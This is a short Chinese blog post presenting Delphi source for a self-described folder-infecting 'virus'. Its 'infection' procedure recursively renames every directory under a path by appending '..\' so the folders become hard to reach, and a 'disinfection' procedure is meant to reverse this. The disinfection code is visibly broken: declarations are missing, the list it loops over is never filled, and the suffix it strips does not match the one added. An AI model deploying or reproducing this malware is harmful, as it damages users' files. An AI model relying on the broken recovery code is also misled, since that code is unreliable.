天天看點

自己編寫的一個感染檔案夾的小病毒

感染函數

procedure TForm1.EnCrypt(pPath:string);

var

  lCount,i:Integer;

  lNewName,lFileName:string;

  lStringList:TStringList;

begin

  lStringList:=GetDirTreeList(pPath);

  lCount:=lStringList.Count-1;

  for i:=lCount downto 0 do

  begin

    lFileName:=lStringList.Strings[i];

    lNewName:=lFileName+'..\';

    if DirectoryExists(lFileName) then

    begin

      ReNameFile(lFileName,lNewName)

    end;

  end;

end;

殺毒函數

procedure TForm1.DeCrypt(pPath: string);

  lNameLength,i:Integer;

  lNewFileName,lOldFileName:string;

  SearchRec:TSearchRec;

  lStringList:=TStringList.Create;

  for i := 0 to lStringList.Count-1 do

    lOldFileName:=lStringList.Strings[i]+'.\';

    lNameLength:=Length(lOldFileName);

    lNewFileName:=Copy(lOldFileName,1,lNameLength-3);

    ReNameFile(lOldFileName,lNewFileName);

    DeCrypt(lNewFileName);

繼續閱讀